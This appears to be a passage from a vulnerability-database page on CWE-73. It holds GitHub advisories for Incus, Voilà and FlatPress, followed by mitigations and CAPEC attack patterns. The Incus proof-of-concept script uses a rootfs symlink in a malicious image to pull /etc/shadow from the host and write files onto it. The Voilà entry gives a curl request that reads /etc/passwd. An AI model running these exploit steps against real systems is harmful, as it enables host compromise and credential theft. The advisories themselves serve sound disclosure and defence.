afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf \u0027afrw-rootfs-symlink\\n\u0027 \u003e\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
  "id": "GHSA-2q3f-q5pq-g8wv",
  "modified": "2026-06-26T18:31:21Z",
  "published": "2026-06-26T18:31:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image"
}

GHSA-2Q59-H24C-W6FG

Vulnerability from github – Published: 2024-04-03 14:13 – Updated: 2024-04-04 13:37

Summary

Voilà Local file inclusion

Details

Impact

Any deployment of voilà dashboard allow local file inclusion, that is to say any file on a filesystem that is readable by the user that runs the voilà dashboard server can be downloaded by someone with network access to the server.

Whether this still requires authentication depends on how voilà is deployed.

Patches

This is patched in 0.2.17+, 0.3.8+, 0.4.4+, 0.5.6+

Workarounds

None.

References

CWE-73: External Control of File Name or Path

Original report

I have found a local file inclusion vulnerability in one of your subprojects, voila (https://github.com/voila-dashboards/voila).

The vulnerability exists in the "/static" Route, and can be exploited by simply making a request such as this:

$ curl localhost:8866/static/etc/passwd

...or by using a webbrowser to download the file.

I dug into the source code, and I think the offending line is here: https://github.com/voila-dashboards/voila/blob/8419cc7d79c0bb1dabfbd9ec49cb957740609d4d/voila/app.py#L664 "static_path" gets set to "/", irrespective of the actual "--static" cli option. Because of that, the tornado.web.StaticFileHandler gets initialized with path="/". Then, tornado.web.StaticFileHandler.get calls tornado.web.StaticFileHandler.get_absolute_path with root="/" and path="[USER SUPPLIED PATH]", which leads to local file inclusion. An attacker can request any file on the system they want (that the user running voila has access to).

I suspect this was an oversight during development. Setting static_path=self.static_root (the aforementioned correct cli option) in line 664 provides the intended behavior and restricts the file access to the static directory. From what I can tell, this line has been in the repository since September 2018. This is the commit that added it: https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67

I have found multiple voila instances online that are impacted, such as: - ... [redacted] - ... [redacted] - ... [redacted]

...but many more probably exist. They're easy to identify by [redacted] Therefore the Issue should be fixed as soon as possible, and a security advisory should be released to inform the impacted users.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "voila"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.2"
            },
            {
              "fixed": "0.2.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "voila"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0a0"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "voila"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0a0"
            },
            {
              "fixed": "0.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "voila"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0a0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-30265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-03T14:13:02Z",
    "nvd_published_at": "2024-04-03T23:15:13Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAny deployment of voil\u00e0 dashboard allow local file inclusion, that is to say any file on a filesystem that is readable by the user that runs the voil\u00e0 dashboard server can be downloaded by someone with network access to the server. \n\nWhether this still requires authentication depends on how voil\u00e0 is deployed.\n\n### Patches\n\nThis is patched in 0.2.17+, 0.3.8+, 0.4.4+, 0.5.6+\n\n### Workarounds\n\nNone.\n\n\n### References\n\nCWE-73: External Control of File Name or Path\n\n\n### Original report\n\nI have found a local file inclusion vulnerability in one of your subprojects, voila (https://github.com/voila-dashboards/voila).\n\nThe vulnerability exists in the \"/static\" Route, and can be exploited by simply making a request such as this:\n\n```\n$ curl localhost:8866/static/etc/passwd\n```\n\n...or by using a webbrowser to download the file.\n\nI dug into the source code, and I think the offending line is here: https://github.com/voila-dashboards/voila/blob/8419cc7d79c0bb1dabfbd9ec49cb957740609d4d/voila/app.py#L664\n`\"static_path\"` gets set to `\"/\"`, irrespective of the actual `\"--static\"` cli option. Because of that, the `tornado.web.StaticFileHandler` gets initialized with `path=\"/\"`. Then, `tornado.web.StaticFileHandler.get` calls `tornado.web.StaticFileHandler.get_absolute_path` with `root=\"/\"` and `path=\"[USER SUPPLIED PATH]\"`, which leads to local file inclusion. An attacker can request any file on the system they want (that the user running voila has access to).\n\nI suspect this was an oversight during development. Setting `static_path=self.static_root` (the aforementioned correct cli option) in line 664 provides the intended behavior and restricts the file access to the static directory.\nFrom what I can tell, this line has been in the repository since September 2018. This is the commit that added it: https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67\n\nI have found multiple voila instances online that are impacted, such as:\n- ... [redacted]\n- ... [redacted]\n- ... [redacted]\n\n...but many more probably exist. They\u0027re easy to identify by `[redacted]` Therefore the Issue should be fixed as soon as possible, and a security advisory should be released to inform the impacted users.\n\n",
  "id": "GHSA-2q59-h24c-w6fg",
  "modified": "2024-04-04T13:37:56Z",
  "published": "2024-04-03T14:13:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/security/advisories/GHSA-2q59-h24c-w6fg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30265"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/00d6362c237b6b4d466873535554d6076ead0c52"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/5542e4ae36bb5d184deaa48f95e76be477756af2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/98b6a40fec27723572314fdbba99bdc147d904c8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/voila-dashboards/voila/commit/c045be6988539d07cceeb9f82fc660a49485d504"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/voila-dashboards/voila"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Voil\u00e0 Local file inclusion"
}

GHSA-2QF9-QCHX-RH67

Vulnerability from github – Published: 2023-03-01 03:30 – Updated: 2023-03-09 15:30

Details

External Control of File Name or Path in GitHub repository flatpressblog/flatpress prior to 1.3.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2023-1105"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-01T02:15:00Z",
    "severity": "HIGH"
  },
  "details": "External Control of File Name or Path in GitHub repository flatpressblog/flatpress prior to 1.3.",
  "id": "GHSA-2qf9-qchx-rh67",
  "modified": "2023-03-09T15:30:50Z",
  "published": "2023-03-01T03:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1105"
    },
    {
      "type": "WEB",
      "url": "https://github.com/flatpressblog/flatpress/commit/5d5c7f6d8f072d14926fc2c3a97cdd763802f170"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/4089a63f-cffd-42f3-b8d8-e80b6bd9c80f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Architecture and Design

When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.

Mitigation

Architecture and Design Operation

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-5.1

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Mitigation

Implementation

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).

Mitigation

Installation Operation

Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.

Mitigation

Operation Implementation

If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Mitigation

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CAPEC-13: Subverting Environment Variable Values

The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.

CAPEC-267: Leverage Alternate Encoding

An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-72: URL Encoding

This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic

This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.

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